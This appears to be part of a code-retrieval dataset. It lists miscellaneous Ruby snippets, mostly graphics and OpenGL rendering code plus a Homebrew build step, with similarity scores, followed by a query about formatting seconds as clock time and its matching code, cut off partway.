end\r\n\r\n # make sure data is written to the disk one way or the other \r\n begin\r\n file.fsync\r\n rescue\r\n file.flush\r\n end\r\n end\r\n \r\n # report final condition of model\r\n runner.registerFinalCondition(\"The building finished with #{model.getSpaces.size} spaces.\")\r\n\r\n return true\r\n\r\n end", "def render(x, y, z, index, options = {})\n angle = options.fetch(:angle, 0.0)\n origin = options.fetch(:origin, ZERO_ORIGIN)\n opacity = options.fetch(:opacity, 1.0)\n color = options.fetch(:color, WHITE)\n tone = options.fetch(:tone, BLACK)\n\n @rotation_matrix.clear\n @rotation_matrix.rotate!(angle, [0, 0, 1])\n @rotation_matrix.translate!(-origin.x, -origin.y, 0)\n @transform.clear\n @transform.translate!(x, y, z)\n transform = @transform * @rotation_matrix\n\n @shader.use\n @shader.set_uniform 'opacity', opacity\n @shader.set_uniform 'color', color\n @shader.set_uniform 'tone', tone\n Renderer.instance.render(@shader, @vbo, @texture, transform, @mode, index * 4)\n end", "def myinit\r\n fogColor = [0.0, 0.0, 0.0, 1.0];\r\n\r\n GL.Enable(GL::FOG);\r\n GL.Fog(GL::FOG_MODE, GL::LINEAR);\r\n GL.Hint(GL::FOG_HINT, GL::NICEST); #/* per pixel */\r\n GL.Fog(GL::FOG_START, 3.0);\r\n GL.Fog(GL::FOG_END, 5.0);\r\n GL.Fog(GL::FOG_COLOR, fogColor);\r\n GL.ClearColor(0.0, 0.0, 0.0, 1.0);\r\n\r\n GL.DepthFunc(GL::LESS);\r\n GL.Enable(GL::DEPTH_TEST);\r\n GL.ShadeModel(GL::FLAT);\r\nend", "def main\n sei\n set 0xdc0d, 0x7f #shortcut for lda 0x7f; sta 0xdc0d\n set 0xdd0d #without second argument its simply a sta 0xdd0d\n lda 0xdc0d\n lda 0xdd0d\n set 0xd01a, 1\n set 0xd012, 20\n set 0xd011, 0x1b\n lda 0x35\n sta 0x01, :zeropage => true #TODO: this is not so pretty\n irq #shortcut for: address :irq, :irq\n cli\n label :self\n jmp :self\n \n label :irq\n border 0\n lda 22\n label :raster_fix\n cmp 0xd012\n bne :raster_fix\n nop 27\n [:darkgrey, :red, :grey, :pink, :lightgrey, :white, :lightgrey, :pink, :grey, :red, :darkgrey, :black].each do |color|\n border color\n nop 60\n end\n border 0\n set 0xd019, 0xff\n rti\n end", "def prepareOpenGL\n\n\t\tglEnable(GL_DEPTH_TEST)\n\n\t\tglShadeModel(GL_SMOOTH)\n\t\tglEnable(GL_CULL_FACE)\n\t\tglFrontFace(GL_CCW)\n\t\tglPolygonOffset (1.0, 1.0)\n\t\n\t\tglClearColor(0.0, 0.0, 0.0, 0.0)\n\n\tend", "def update\n @abs_x = nil\n @abs_y = nil\n if @sprite\n pos_left = abs_x\n pos_right = abs_x + @width\n pos_top = abs_y\n pos_bottom = abs_y + @height\n tex_left = @sprite.u_frac\n tex_right = @sprite.u_frac + @sprite.w_frac\n tex_top = @sprite.v_frac\n tex_bottom = @sprite.v_frac + @sprite.h_frac\n \n # Write to the attribute buffer. We won't write to the element buffer until we call #show.\n \n # 4 vertices, 5 vector components per vertex (3 position, 2 tex), 4 bytes per vector component (float)\n byte_buffer = BufferUtils.createByteBuffer(4 * 5 * 4).asFloatBuffer\n byte_buffer.put([\n # Top left\n pos_top,\n pos_left,\n z,\n tex_left,\n tex_top,\n \n # Bottom left\n pos_left,\n pos_bottom,\n z,\n tex_left,\n tex_bottom,\n \n # Bottom right\n pos_right,\n pos_bottom,\n z,\n tex_right,\n tex_bottom,\n \n # Top right\n pos_right,\n pos_top,\n z,\n tex_right,\n tex_top\n ].to_java(:float))\n byte_buffer.rewind\n GL15.glBindBuffer GL15::GL_ARRAY_BUFFER, @@attr_vbo_id\n GL15.glBufferSubData(GL15::GL_ARRAY_BUFFER, attr_vbo_index, byte_buffer)\n GL15.glBindBuffer GL15::GL_ARRAY_BUFFER, 0\n end\n children.each { |c| c.update }\n end", "def draw_effect\n end", "def precompile_assets; end", "def generate_compilation\n puts \"Generating compilation\"\n get_selected_vines\n pathArray = [];\n @selected_vines.each do |vid|\n vine = Vine.find(vid)\n pathArray.push vine.path\n end\n if pathArray.count > 0\n return outputFile = execute_ffmpeg(pathArray)\n end\n end", "def camUseNVG _args\n \"camUseNVG _args;\" \n end", "def precompile\n str = \"picture \" + @name + \";\\n\"\n @draw_commands.each do |d| \n str = str + d.compile + \"\\n\"\n end\n str = str + @name + \" := currentpicture; currentpicture := \" + @@org_picture + \";\\n\"\n end", "def draw(vectors)\n Shoes.app do\n vectors.each do |points|\n (0..1).step(0.005).each do |t|\n result = (1-t)**3*points[0] + 3*t*(1-t)**2*points[1] + 3*t**2*(1-t)*points[2] + t**3*points[3]\n oval(result[0]+100, result[1]+100, 1)\n end\n end\n end\nend", "def render args\n args.outputs.solids << 20.map_with_index do |i| # uses 20 squares to form bridge\n # sets x by multiplying 64 to index to find pixel value (places all squares side by side)\n # subtracts 64 from bridge_top because position is denoted by bottom left corner\n [i * 64, args.state.bridge_top - 64, 64, 64]\n end\n\n args.outputs.solids << [args.state.x, args.state.y, args.state.w, args.state.h, 255, 0, 0]\n args.outputs.solids << [args.state.player.x, args.state.player.y, args.state.player.w, args.state.player.h, 255, 0, 0] # outputs player onto screen (red box)\n args.outputs.solids << [args.state.enemy.x, args.state.enemy.y, args.state.enemy.w, args.state.enemy.h, 0, 255, 0] # outputs enemy onto screen (green box)\n args.outputs.solids << args.state.enemy.hammers # outputs enemy's hammers onto screen\nend", "def initialize\n super(RESOLUTION[0], RESOLUTION[1], {:update_interval => UP_MS_DRAW, :fullscreen => ISFULLSCREEN})\n $program = self # global pointer to window creation object\n controls_init # prep the input controls scheme manager\n gl_version = glGetString(GL_VERSION).to_s\n gl_version = gl_version.split(' ')\n @openGL_version = Gem::Version.new(gl_version[0])\n puts(\"Using OpenGL version: #{@openGL_version} On a #{gl_version[1]} Driver Version: #{gl_version[2]}\")\n puts(\"*\" * 70)\n @@active_state = Map.new( { :level => \"\" } )\n end", "def cameraEffectEnableHUD _args\n \"cameraEffectEnableHUD _args;\" \n end", "def initialize\r\n\t\t$state=self\r\n\t\treset\r\n @removed=[]\r\n @lights=[]\r\n @camera=Camera.new($screen.width/2,$screen.height/2) #default camera ; variable can't be empty\r\n @dark=Ashton::WindowBuffer.new\r\n \r\n $enable_gui=true #enable using GUI\r\n \r\n @window=GUI::Window.new(0,0,160,240,\"Properites\",#create window, below are objects\r\n [:text,\"Type\",0,0],#the :text is one of customisations, it just shows text\r\n [:text,\"X position\",0,50],\r\n [:text,\"Y position\",0,100],\r\n [:text,\"Scale\",0,150],\r\n [:text,\"Red\",0,205],\r\n [:object,:type,GUI::Dropdown.new(20,25,\"Square\",\"Circle\",\"Triangle\")],#to make another GUI element into window, use :object, give it name and the last thing is this object. Object's position will be relative to GUI window, not absolute.\r\n [:object,:pos_x,GUI::Number.new(20,75,0,640)],\r\n [:object,:pos_y,GUI::Number.new(20,125,0,480)],\r\n [:object,:scale,GUI::Zip.new(20,190,30,4)],\r\n [:object,:red,GUI::Check.new(40,205)]\r\n )\r\n @window.disabled=true #make window invisible\r\n \r\n @new=GUI::Button.new(0,456,\"Add shape\") #make a maker-button\r\n end", "def material; end", "def material; end", "def bright; end", "def bright; end", "def gen_star(package_map)\n text = \"//#{package_map[\"name\"]}\nvar #{package_map[\"indexed_name\"]} = new Celestial({\n name: \\\"#{package_map[\"indexed_name\"]}\\\",\n geometry: new THREE.SphereGeometry(#{package_map[\"radius\"]+0.01}, 12, 12),\n material: new THREE.MeshBasicMaterial({color: 0xffdd22, map: star_texture}),\n light: new THREE.PointLight( 0xffddbb, 1, 0 ),\n rotx: 0.01, \n roty: 0.01, \n rotz: 0.01});\ncelestials[celestials.length] = #{package_map[\"indexed_name\"]};\\n\\n\"\n return text\nend", "def gl_view\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glenable\n glEnable(GL_TEXTURE_2D) # enables two-dimensional texturing to perform\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/gldepthfunc\n # https://www.youtube.com/watch?v=uJzXDkgm5Fw\n glEnable(GL_DEPTH_TEST)\n # If enabled, do depth comparisons and update the depth buffer.\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glmatrixmode\n glMatrixMode(GL_PROJECTION)\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glloadidentity\n glLoadIdentity # * HAS TOO * be loaded in order after glMatrixMode setting...\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/gluperspective\n gluPerspective(@fov, @ratio, @near, @far)\n #---------------------------------------------------------\n # Camera placement and viewing arangements:\n # The modelview matrix is where camera object information is stored.\n glMatrixMode(GL_MODELVIEW); glLoadIdentity # same as with before matrix ^\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glulookat\n gluLookAt(@x,@y,@z, # Camera Location // eye\n @tx,@ty,@tz, # Viewing Target Location // direction\n # Vector Direction of Movement. // up\n @vert_orintation[0], @vert_orintation[1], @vert_orintation[2]\n ) # Defining the Viewing perspective is done in this block.\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glrotatef\n # glRotatef(angle, X axis scale, Y axis scale, Z axis scale)\n glRotatef(@angle[0], @vert_orintation[0], @vert_orintation[1], @vert_orintation[2])\n end", "def draw\n $code.each { |color| print \"[ #{Rainbow(\"o\").background(color)} ] \" }\n puts \"\\n\\n\"\n end", "def InitGL(width, height) # We call this right after our OpenGL window \n return false unless load_gl_textures() # If Texture Didn't Load Return FALSE \n glEnable(GL_TEXTURE_2D)\t\t\t\t\t\t\t# Enable Texture Mapping\n glShadeModel(GL_SMOOTH)\t\t\t\t\t\t\t# Enable Smooth Shading\n glClearColor(0.0, 0.0, 0.0, 0.5)\t\t\t\t# Black Background\n glClearDepth(1.0)\t\t\t\t\t\t\t\t\t# Depth Buer Setup\n glEnable(GL_DEPTH_TEST)\t\t\t\t\t\t\t# Enables Depth Testing\n glDepthFunc(GL_LEQUAL)\t\t\t\t\t\t\t\t# The Type Of Depth Testing To Do\n glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST)\t# Really Nice Perspective Calculations\n\n glLightfv(GL_LIGHT1, GL_AMBIENT, $LightAmbient)\t\t# Setup The Ambient Light\n glLightfv(GL_LIGHT1, GL_DIFFUSE, $LightDiffuse)\t\t# Setup The Diffuse Light\n glLightfv(GL_LIGHT1, GL_POSITION,$LightPosition)\t# Position The Light\n glEnable(GL_LIGHT1)\t\t\t\t\t\t\t\t# Enable Light One\n glColor4f(1.0, 1.0, 1.0, 0.5) # Full Brightness 50% alpha\n glBlendFunc(GL_SRC_ALPHA,GL_ONE)\n return true # Initialization Went OK\nend", "def install\n\t\tsystem 'sed -i -e \"s/3\\.0\\.0\\.dylib/3\\.4\\.dylib/g\" build/waifu2x-converter-glsl.xcodeproj/project.pbxproj'\n\t\tsystem 'sed -i -e \"s/libglfw3/libglfw/g\" build/waifu2x-converter-glsl.xcodeproj/project.pbxproj'\n\t\tsystem 'xcodebuild -project build/waifu2x-converter-glsl.xcodeproj -scheme waifu2x-converter-glsl -configuration Release -derivedDataPath DerivedData HEADER_SEARCH_PATHS=\"/usr/local/opt/opencv@3/include /usr/local/opt/glfw/include '+buildpath+'/include\" LIBRARY_SEARCH_PATHS=\"/usr/local/opt/opencv@3/lib /usr/local/opt/glfw/lib\"'\n\t\tlibexec.install 'DerivedData/Build/Products/Release/waifu2x-converter-glsl'\n\t\tlibexec.install 'models'\n\t\tlibexec.install 'shaders'\n\t\t#bin.install_symlink libexec/\"waifu2x-converter-glsl\"\n\t\tDir.mkdir bin\n\t\tFile.open(bin/\"waifu2x-converter-glsl\",'w'){|f|\n\t\t\tf.puts(\"#!/bin/sh\")\n\t\t\tf.puts(\"echo 'note: argument paths needs to be absolute.'\")\n\t\t\t# I personally think taking models/shaders from \"current directory\" is a bug...\n\t\t\tf.puts(\"cd '\"+libexec.to_s+\"'\")\n\t\t\tf.puts((libexec/\"waifu2x-converter-glsl\").to_s+' \"$@\"')\n\t\t}\n\tend", "def draw_vertexes\n vs.each_index do |n|\n vs[n].draw @drawer\n end\n end", "def set_color_rendering_intent(intent)\n @stream << \"/#{intent} ri\\n\"\n end", "def program\n @_program ||= begin\n ptr = MemoryPointer::new( Program )\n error = OpenCL.clGetKernelInfo(self, PROGRAM, Program.size, ptr, nil)\n error_check(error)\n Program::new(ptr.read_pointer)\n end\n end", "def update!(**args)\n @vertex_offsets = args[:vertex_offsets] if args.key?(:vertex_offsets)\n @z_order = args[:z_order] if args.key?(:z_order)\n end", "def graphic(number)\n File.open(\"#{frame_id(number)}.svg\", \"w\") do |file|\n file.write render(\"bit101_style.erb\")\n end\n\n system(\"convert #{frame_id(number)}.svg #{frame_id(number)}.jpg\")\n # system(\"java -jar ~/Downloads/batik-1.7/batik-rasterizer.jar #{frame_id(number)}.svg\")\n File.unlink(\"#{frame_id(number)}.svg\")\n\n print \"+\"\nend", "def set_linea_uv\n @linea_uv = LineaUv.find(params[:id])\n end", "def metal; end", "def gtprogram\n stmts\nend", "def main_sprite ; end", "def bg_red; use_code(41) end", "def start\n ConwayViewerOpenGL::to_gl(self.cells)\n end", "def init_with_program(prog); end", "def remesh\n cpp_remesh()\n end", "def color(*args)\n @instructions << Instruction.new(:color, args)\n self\n end", "def test04()\n begin\n origModes = \"kCGBlendModeNormal kCGBlendModeMultiply kCGBlendModeScreen \"+\n \"kCGBlendModeOverlay kCGBlendModeDarken kCGBlendModeLighten \" + \n \"kCGBlendModeColorDodge kCGBlendModeColorBurn kCGBlendModeSoftLight \" +\n \"kCGBlendModeHardLight kCGBlendModeDifference kCGBlendModeExclusion \" +\n \"kCGBlendModeHue kCGBlendModeSaturation kCGBlendModeColor \" +\n \"kCGBlendModeLuminosity kCGBlendModeClear kCGBlendModeCopy \" +\n \"kCGBlendModeSourceIn kCGBlendModeSourceOut kCGBlendModeSourceAtop \" +\n \"kCGBlendModeDestinationOver kCGBlendModeDestinationIn \" +\n \"kCGBlendModeDestinationOut kCGBlendModeDestinationAtop kCGBlendModeXOR \" +\n \"kCGBlendModePlusDarker kCGBlendModePlusLighter\"\n blendModes = MIMeta.listcgblendmodes\n unless origModes.eql? blendModes\n raise \"Blend modes are different, new:\" + blendModes\n end\n\n origPresets = \"AlphaOnly8bpcInt Gray8bpcInt Gray16bpcInt Gray32bpcFloat \" +\n \"AlphaSkipFirstRGB8bpcInt AlphaSkipLastRGB8bpcInt \"+\n \"AlphaPreMulFirstRGB8bpcInt AlphaPreMulBGRA8bpcInt AlphaPreMulLastRGB8bpcInt \" +\n \"AlphaPreMulLastRGB16bpcInt AlphaSkipLastRGB16bpcInt \" +\n \"AlphaSkipLastRGB32bpcFloat AlphaPreMulLastRGB32bpcFloat \" +\n \"CMYK8bpcInt CMYK16bpcInt CMYK32bpcFloat PlatformDefaultBitmapContext\"\n presets = MIMeta.listpresets\n unless origPresets.eql? presets\n raise \"Presets are different, new:\" + presets\n end\n\n origCommands = [:getproperty, :setproperty, :getproperties, :setproperties,\n :create, :close, :closeall, :addimage, :export, :drawelement, :snapshot,\n :finalizepage, :getpixeldata, :calculategraphicsizeoftext, :renderfilterchain,\n :assignimagetocollection, :removeimagefromcollection, :processframes,\n :createtrack, :addinputtowriter, :addimagesampletowriter,\n :finishwritingframes, :cancelwritingframes, :addmovieinstruction,\n :inserttracksegment, :insertemptytracksegment]\n\n commands = MIMeta.listallcommands\n unless origCommands.eql? commands\n raise \"Command lists are different, new:\" + commands.to_s\n end\n\n origObjects = [:bitmapcontext, :imageimporter, :imageexporter,\n :imagefilterchain, :pdfcontext, :nsgraphiccontext,\n :movieimporter, :movieeditor, :videoframeswriter]\n objectTypes = MIMeta.listobjecttypes\n\n unless origObjects.eql? objectTypes\n raise \"List of objects is different, new:\" + commands.to_s\n end\n\n origInputVideoWriterPresets = \"h264preset_sd jpegpreset h264preset_hd \" +\n \"prores4444preset prores422preset\"\n \n videoWriterPresets = MIMeta.listvideoframewriterpresets\n unless origInputVideoWriterPresets.eql? videoWriterPresets\n raise \"List of video writer presets is different, new:\" + videoWriterPresets.to_s\n end\n\n origUserInterfaceFonts = \"kCTFontUIFontMiniEmphasizedSystem \" +\n \"kCTFontUIFontSmallToolbar kCTFontUIFontWindowTitle \" +\n \"kCTFontUIFontMenuTitle kCTFontUIFontSystem kCTFontUIFontMenuItem \" +\n \"kCTFontUIFontEmphasizedSystem kCTFontUIFontToolbar kCTFontUIFontMessage \" +\n \"kCTFontUIFontEmphasizedSystemDetail kCTFontUIFontSmallEmphasizedSystem \" +\n \"kCTFontUIFontUserFixedPitch kCTFontUIFontMiniSystem kCTFontUIFontLabel \" +\n \"kCTFontUIFontControlContent kCTFontUIFontSystemDetail kCTFontUIFontViews \"+\n \"kCTFontUIFontUser kCTFontUIFontSmallSystem kCTFontUIFontApplication\" +\n \"kCTFontUIFontToolTip\"\n \n userInterfaceFonts = MIMeta.listuserinterfacefonts\n unless userInterfaceFonts.eql? userInterfaceFonts\n raise \"User iterface fonts are different, new:\" + userInterfaceFonts\n end\n\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: #{Smig.get_exitstring}\"\n end\n puts e.message\n puts e.backtrace.to_s\n puts #{Smig.exitstring}\"\n# exit 240\n end\nend", "def initialize avi\n @avi = avi\n end", "def dessin(option)\n tex_file = PREAMBLE\n if (option == 'corrige')\n tex_file = \"\n \\\\begin{animateinline}[final,loop,controls,poster=last]{1}\n \\\\multiframe{8}{iCOUNT=00+01}{\n \" + tex_file\n end\n ## D'abord lentille ou miroir, convergent ou divergent\n tex_file += lentille_miroir\n ## Puis la position de l'objet\n if (option == 'corrige' or option == 'objet') and o.p.abs < 1000\n post_txt = ''\n if option == 'corrige' and o.reverse\n tex_file += '\\ifthenelse{\\iCOUNT > 6}{' #+ \"\\n\"\n post_txt = '}{}' + \"\\n\"\n end\n tex_file += \"\n \\\\draw [->,ultra thick] (#{o.p},0) node [#{below(o.AB)}] {$A$} -- (#{o.p},#{o.AB}) node [#{above(o.AB)}] {$B$} ;\n \" + post_txt\n end\n ## Celle de l'image\n if (option == 'corrige' or option == 'image') and o.pp.abs < 1000\n post_txt = ''\n if option == 'corrige' and not(o.reverse)\n tex_file += '\\ifthenelse{\\iCOUNT > 6}{' #+ \"\\n\"\n post_txt = '}{}' + \"\\n\"\n end\n tex_file += \"\n \\\\draw [->,ultra thick] (#{o.pp},0) node [#{below(o.ApBp)}] {$A'$} -- (#{o.pp},#{o.ApBp}) node [#{above(o.ApBp)}] {$B'$} ;\n \" + post_txt\n end\n ## Enfin le trace des rayons caracteristiques en mode \"corrige\"\n if (option == 'corrige')\n decalage = 0\n decalage+= 1 if o.reverse\n nb = 0\n ## D'abord pour les lentilles\n if o.lentille\n tex_file += \"% Le rayon qui arrive // a l'axe optique\\n\"\n tex_file += enrobage(rayon(o.p,o.AB,0,o.AB),nb+decalage)\n tex_file += \"% ... arrive en passant par le foyer image\\n\"\n tex_file += enrobage(rayon(0,o.AB,o.fp,0,'image'),nb+(decalage+1)%2)\n tex_file += \"% Le rayon qui passe par le centre optique\\n\"\n tex_file += enrobage(rayon(o.p,o.AB,0,0),nb+2+decalage)\n tex_file += \"% ... n'est pas devie\\n\"\n tex_file += enrobage(rayon(o.p,o.AB,0,0,'image'),nb+2+(decalage+1)%2)\n tex_file += \"% Le rayon qui passe par le foyer objet\\n\"\n tex_file += enrobage(rayon(o.p,o.AB,-o.fp,0),nb+4+decalage)\n tex_file += \"% ... ressort // a l'axe optique\\n\"\n tex_file += enrobage(rayon(0,o.ApBp,o.pp,o.ApBp,'image'),nb+4+(decalage+1)%2)\n else\n tex_file += \"% Le rayon qui passe par S\\n\"\n tex_file += rayon(o.p,o.AB,0,0)\n tex_file += \"% ... est \\\"non devie\\\"\\n\"\n tex_file += rayon(o.p,-o.AB,0,0,'miroir')\n tex_file += \"% Celui qui passe par C\\n\"\n tex_file += rayon(o.p,o.AB,-2*o.fp,0)\n tex_file += \"% ... revient sur lui-meme\\n\"\n tex_file += rayon(o.p,o.AB,-2*o.fp,0,'miroir')\n tex_file += \"% Celui qui arrive // a l'axe optique\\n\"\n tex_file += rayon(o.p,o.AB,0,o.AB)\n tex_file += \"% ... repart en passant par le foyer \\n\"\n tex_file += rayon(o.pp,o.ApBp,-o.fp,0,'miroir')\n tex_file += \"%Finalement, celui qui passe par le foyer revient // a l'axe optique\\n\"\n tex_file += rayon(o.p,o.AB,-o.fp,0)\n tex_file += rayon(o.pp,o.ApBp,0,o.ApBp,'miroir')\n end\n end\n tex_file += POSTAMBLE\n if option == 'corrige'\n tex_file += \"}\\n\\\\end{animateinline}\"\n end\n File.open(o.basename + '_' + option + '.tex','w') do |f|\n f.puts tex_file\n end\n end", "def camaleon_image_optimizer_on_active(plugin)\n end", "def draw2d(opengl_primitive, *points)\n end", "def setup\n\t\tbackground(0)\n\t\tzahlen = (2*3*5*7)-1# <-- change integer here. # what is biggest array?\n\t\t@table = color_it(rsa_group(zahlen))\n\t\tsquare = [1000] * 2 ; size(*square)\n\t\tframe_rate 1 ; colorMode(HSB,360,100,100)\n\tend", "def compiledo\n\n end", "def get_frustum_material\n materials = Sketchup.active_model.materials\n material = materials[\"Camera_FOV\"]\n if( not material )\n material = materials.add \"Camera_FOV\"\n material.color = [211, 211, 211]\n material.alpha = 0.25\n end\n material\nend", "def precompiled(locals); end", "def setup\n\t\ttext_font create_font(\"SanSerif\",10);\n\t\tscreen = [1920,1040] #JackRabbit\n\t\t# product[1920,1040] = 1996800\n\n\t\t# screen = [1500,900] #HOME\n\t\t# product[1500,900] = 1350000\n\n\t\t@it = 0\n\n\t\tsize(*screen)\n\t\t@w,@h = screen.map{|d| d/2}\n\t\t@i, @t = [0] * 2 ; background(0)\n\t\t@colors = (0..3).map{|i|rand(255)}\n\t\tframe_rate 2.5 ; colorMode(HSB,360,100,100)\n\t\tno_fill() ; no_stroke ; @xy = [0,0]\n\t\t\t\n\t\tcl = VERTS.map{|c| rand(30) }\n\t\t@cc = VERTS.map{|r| [(20 + rand(@w)) * 1.9,\n\t\t\t\t\t\t\t\t\t\t\t\t (20 + rand(@h)) * 1.9] }.zip(cl)\n\tend" ]
[ "0.73791856", "0.6774999", "0.661522", "0.65457886", "0.629392", "0.5975027", "0.56829584", "0.5635223", "0.5614747", "0.53920424", "0.538263", "0.53819466", "0.53347224", "0.53287166", "0.5316994", "0.52631116", "0.52107185", "0.5139761", "0.51067775", "0.5094172", "0.5079267", "0.5062047", "0.5021119", "0.50193965", "0.50063455", "0.50058955", "0.49647066", "0.48805365", "0.48421016", "0.48327902", "0.48231378", "0.4804582", "0.48043954", "0.47939828", "0.47846696", "0.47846696", "0.47846696", "0.47741446", "0.47566321", "0.47566321", "0.4739406", "0.47135955", "0.4711185", "0.4705126", "0.4701688", "0.46960893", "0.46953055", "0.46950218", "0.46935874", "0.46908632", "0.46814042", "0.46802112", "0.46797344", "0.46695408", "0.4666999", "0.46556896", "0.46555617", "0.46511057", "0.46321893", "0.46175033", "0.4617428", "0.4593789", "0.459364", "0.4589945", "0.45838097", "0.4569729", "0.4566148", "0.45644376", "0.45644376", "0.45633522", "0.45633522", "0.4559954", "0.45434666", "0.45387456", "0.4536002", "0.45328322", "0.4523868", "0.45059294", "0.45040601", "0.45030928", "0.4495361", "0.44951275", "0.44933307", "0.4486507", "0.4485359", "0.4482218", "0.44722077", "0.4467651", "0.44658607", "0.4465471", "0.44632038", "0.4459514", "0.44580892", "0.44547778", "0.44543567", "0.4452707", "0.4444249", "0.44420508", "0.4441097", "0.4441031" ]
0.64287764
4
divmod returns an array of the quotient and remainder if the quotient is divisible by 60 divmod is used again providing hours and minutes, and seconds are pushed onto the back of array single digit numbers are padded with 0 words are converted into string with the separator
def time_string clock = @seconds.divmod(60) if clock[0] > 59 b = clock[1] a = clock[0].divmod(60) clock = a.push(b) else clock.unshift(0) end clock.map! do |final| if final < 10 "0" + final.to_s else final end end clock.join(":") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def split_playtime(start)\r\r\n number = []\r\r\n number[0] = start / 60 / 60\r\r\n number[1] = start / 60 % 60\r\r\n number[2] = start % 60\r\r\n return number\r\r\n end", "def split_playtime(start)\n number = []\n number[0] = start / 60 / 60\n number[1] = start / 60 % 60\n number[2] = start % 60\n return number\n end", "def time_of_day(minutes)\n time = [0, 0]\n hours_mins = minutes.divmod(60)\n # p hours_mins\n\n time[0] = hours_mins[0] % 24\n time[1] = hours_mins[1]\n\n p format_time(time)\nend", "def sec2dhms(secs)\n\ttime = secs.round\n\tsec = time % 60\n\ttime /= 60\n\t\n\tmins = time % 60\n\ttime /= 60\n\n\thrs = time % 24\n\ttime /= 24\n\n\tdays = time\n\t[days, hrs, mins, sec]\nend", "def days_hours_minutes_seconds(seconds)\n mm, ss = seconds.divmod(60) \n hh, mm = mm.divmod(60) \n dd, hh = hh.divmod(24) \n return [dd,hh,mm,ss]\n end", "def convert_minutes_into_hours(minutes)\n hour = minutes / 60\n min = minutes % 60\nputs \" #{hour}:#{min}\"\nend", "def display_time(secs)\n [[60, :s], [60, :m], [9999, :h]].map do |count, name|\n if secs > 0\n secs, n = secs.divmod(count)\n\n \"#{n.to_i}#{name}\" unless n.to_i == 0\n end\n end.compact.reverse.join(' ')\n end", "def get_timeslots_12hrs\n \t#create the new array\n \t@timeslots_12hrs = Array.new\n\n for i in 0...@timeslots.length\n @temp_holder = @timeslots[i].split(':')\n @temp_holder[0] = @temp_holder[0].to_i\n if @temp_holder[0] > 12\n @temp_holder[0] = @temp_holder[0] - 12\n @timeslots_12hrs.push(@temp_holder[0].to_s + \":\" + @temp_holder[1] + \"pm\")\n elsif @temp_holder[0] == 12\n @timeslots_12hrs.push(@temp_holder[0].to_s + \":\" + @temp_holder[1] + \"pm\")\n else\n @timeslots_12hrs.push(@timeslots[i] + \"am\")\n end\n end\n\n return @timeslots_12hrs\n end", "def get_timeslots_12hrs\n #create the new array\n timeslots_12hrs = Array.new\n\n for i in 0...@timeslots.length\n temp_holder = @timeslots[i].split(':')\n temp_holder[0] = temp_holder[0].to_i\n\n if temp_holder[0] > 12\n temp_holder[0] = temp_holder[0] - 12\n timeslots_12hrs.push(temp_holder[0].to_s + \":\" + temp_holder[1] + \"pm\")\n elsif temp_holder[0] == 12\n timeslots_12hrs.push(temp_holder[0].to_s + \":\" + temp_holder[1] + \"pm\")\n else\n timeslots_12hrs.push(@timeslots[i] + \"am\")\n end\n end\n\n return timeslots_12hrs\n end", "def separated_time_string(seconds, separator)\n secs = seconds % 60\n mins = seconds / 60 % 60\n hours = seconds / 60 / 60 \n time_string = sprintf(\"%02d#{separator}%02d#{separator}%02d\", hours, mins, secs)\n end", "def secs_to_hms\n frac = self % 1\n mins, secs = divmod(60)\n hrs, mins = mins.divmod(60)\n if frac.round(5) > 0.0\n format('%02<hrs>d:%02<mins>d:%02<secs>d.%<frac>d',\n { hrs: hrs,\n mins: mins, secs: secs,\n frac: frac.round(5) * 100 })\n else\n format('%02<hrs>d:%02<mins>d:%02<secs>d',\n { hrs: hrs, mins: mins, secs: secs })\n end\n end", "def agop secs, desc = nil\n return '-' unless secs\n\n [[60, :sec], [60, :min], [24, :hrs], [356, :days], [1000, :years]].map do |count, name|\n if secs > 0\n secs, n = secs.divmod(count)\n \"#{n.to_i}#{name}\"\n end\n end.compact.reverse.slice(0,2).join(' ')\n end", "def time_conversion(mins)\r\n\r\n [mins /60, mins %60].map {|t| t.to_s.rjust(2, '0')}.join(':')\r\nend", "def format_duration(secs)\n if !secs\n return ''\n end\n\n [[60, :sec], [60, :min], [24, :hr], [1000, :days]].map{ |count, name|\n if secs > 0\n secs, n = secs.divmod(count)\n \"#{n.to_i} #{name}\"\n end\n }.compact.reverse.join(' ')\n end", "def transform_secs(seconds) \n time = ''\n \n h = (seconds.to_f / 3600.0).floor\n seconds = seconds - (h * 3600)\n time << \"#{h.to_s.rjust(2, '0')}:\" if h > 0\n \n m = (seconds.to_f / 60.0).floor\n seconds = seconds - (m * 60)\n time << \"#{m.to_s.rjust(2, '0')}:\"\n \n time << \"#{seconds.to_s.rjust(2, '0')}\"\n \n time\nend", "def format_minutes_as_hrs_mins(minutes)\n hours = minutes / 60\n remainder_minutes = minutes % 60\n remainder_minutes == 0 ? \"#{hours}hrs\" : \"#{hours}hrs #{remainder_minutes}mins\"\n end", "def divmod(val); end", "def divmod(val)\n if val.is_a?(Money)\n a = self.cents\n b = self.currency == val.currency ? val.cents : val.exchange_to(self.currency).cents\n q, m = a.divmod(b)\n return [q, Money.new(m, self.currency)]\n else\n return [self.div(val), Money.new(self.cents.modulo(val), self.currency)]\n end\n end", "def humanize_time(secs)\n [[60, :second], [60, :minute], [24, :hour], [31, :day], [12, :month], [1000, :year]].map{ |count, name|\n if secs > 0\n secs, n = secs.divmod(count)\n next nil if n == 0\n pluralize(name.to_s, n.to_i)\n end\n }.compact.reverse[0..1].join(' ')\n end", "def getSec(mod = 60, unit = nil)\n return normalize(@sec, mod, unit) ;\n end", "def secs_to_hms( secs )\n secs = secs.to_i\n [secs/3600, secs/60 % 60, secs % 60].map { |t| t.to_s.rjust( 2, '0' ) }.join( ':' )\n end", "def time_conversion(mins)\n hour = mins/60\n min = mins.modulo(60)\n return '%02d:%02d' %[hour,min]\nend", "def TimeConvert(num)\n\nhour= num.div(60)\n min=num.remainder(60)\n \n return \"#{hour}\" + \":\" + \"#{min}\"\n \nend", "def divmod(p0) end", "def humanize secs\n [\t\n \t[60, :seconds], \n \t[60, :minutes], \n \t[24, :hours], 